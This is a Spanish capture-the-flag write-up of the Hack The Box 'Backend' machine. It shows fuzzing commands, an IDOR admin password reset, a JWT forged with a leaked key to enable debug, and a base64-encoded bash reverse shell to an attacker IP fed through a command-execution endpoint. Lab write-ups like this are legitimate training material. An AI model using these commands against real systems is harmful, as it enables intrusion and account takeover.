Write Up - Hack The Box - Backend
Resumen de la máquina
Esta máquina presenta una infraestructura basada en una API (FastAPI) que expone diversos endpoints. La explotación comienza con la enumeración de rutas ocultas mediante fuzzing, lo que revela vulnerabilidades de IDOR. Tras escalar privilegios a nivel de API mediante el secuestro de la cuenta de administrador, se descubre un LFI y un RCE condicionado por una variable de depuración en el token JWT.
Heramientas utilizadas:
nmap wfuzz burpsuite jwt_tool
Reconocimiento:
El escaneo inicial revela un servicio web en el puerto 22,80 asociado al dominio backend.htb.
Enumeración y explotación de vulnerabilidades:
Esta maquina requiere a una enumeración exhaustiva
1
2
wfuzz -c --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 http://backend.htb/FUZZ
wfuzz -c --hc=404,422 --hh=4 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 http://backend.htb/api/v1/user/FUZZ
endpoints interesantes
1
2
3
4
5
6
7
8
/docs
/api
/api/v1
/api/v1/user
/api/v1/user/1 /api/v1/user/01 /api/v1/user/001
/api/v1/admin
/api/v1/admin/file
Probamos con POST
1
wfuzz -c -X POST --hc=405,404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 http://backend.htb/api/v1/user/FUZZ
Encontramos
1
2
/api/v1/user/login
/api/v1/user/singup
Enumeración de usuarios via IDOR
Campos requeridos para loggearse
Registramos usuario en el endpoint que encontramos anteriormente
1
curl -X POST "http://backend.htb/api/v1/user/signup" -H "Content-Type: application/json" -d '{"email":"foo2@bar.com","password":"foo"}'
Nos logeamos
1
curl "http://backend.htb/api/v1/user/login" -d "username=foo@bar.com&password=foo"
Establecemos el access token a la funcionalidad de burpsuite match and replace para que cada solicitud que realicemos use el token
Ahora tenemos acceso a la api Fast Api donde obtenemos acceso a diferentes funcionalidades.
La primera que hacemos es obtener la user flag
La siguiente funcionalidad que llama la atencion es actualizar la contraseña donde introduciremos el guid del usuario que encontramos anteriormente + la nueva contraseña
Obtenemos el token del administrador
1
curl "http://backend.htb/api/v1/user/login" -d "username=admin@htb.local&password=foo123"
Cambiamos el token establecido anteriormente en el match & replace de burpsuite
Ahora tenemos acceso a nuevas funcionalidades, destacamos dos:
- LFI en /api/v1/admin/file
- command execution en /api/v1/admin/exec donde es tener el campo debug=true
leemos el archivo /proc/self/environ el cual almacena las variables de entorno del proceso que lo está consultando
Lo descargamos y formateamos
1
curl file:///home/ari/Descargas/response_1769381983740.json | jq '.file' -r > main.py
con jwt_tool añadimos el campo debug= true
1
python3 jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzcwMDg5NTY1LCJpYXQiOjE3NjkzOTgzNjUsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.GMdNhbWtHX9O-DaL89_0hYq_tCBpTrONPC4eBM7JBgo' -T -S hs256 -p 'SuperSecretSigningKey-HTB'
Ahora en el endpoint /api/v1/admin/exec/whoami podemos ejecutar comandos dentro del sistema. Nos enviamos una reverse shell
1
2
3
echo -n 'bash -i >& /dev/tcp/10.10.15.135/443 0>&1' | base64 -w 0;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzUvNDQzIDA+JjE=
http://backend.htb/api/v1/admin/exec/echo%20YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzUvNDQzIDA+JjE=|base64%20-d|bash
Escalada de privilegios:
La escalada de privilegios de esta maquina se basa simplemente en leer un .log















